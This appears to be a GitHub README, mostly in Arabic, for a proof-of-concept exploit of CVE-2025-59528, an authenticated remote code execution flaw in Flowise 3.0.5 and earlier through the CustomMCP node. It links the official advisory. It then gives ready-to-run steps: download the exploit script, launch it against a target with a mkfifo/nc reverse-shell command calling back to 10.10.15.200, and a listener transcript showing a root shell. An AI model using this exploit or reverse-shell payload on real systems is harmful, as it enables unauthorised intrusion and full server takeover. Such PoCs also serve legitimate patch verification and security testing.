corey-farley/cve-2025-59528-flowise-rceإثبات مفهوم لـ RCE مصادَق عليه في Flowise الإصدار 3.0.5 وما دونه عبر CustomMCP Node (CVE-2025-59528)
إثبات المفهوم (PoC) للثغرة RCE الموثقة لإصدار Flowise <= 3.0.5 عبر عقدة CustomMCP (CVE-2025-59528)
الرابط إلى GHSA الرسمي: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
مثال استخدام لـ reverse shell:
curl -sSLO 'https://raw.githubusercontent.com/corey-farley/CVE-2025-59528-Flowise-RCE/main/CVE-2025-59528.py'
chmod +x CVE-2025-59528.py
./CVE-2025-59528.py -t 'http://target.com' -k 'API_KEY' -cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 443 >/tmp/f'
تحقق من المستمع ويجب أن يعمل:
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.64.221] 43393
sh: can't access tty; job control turned off
/ # whoami
root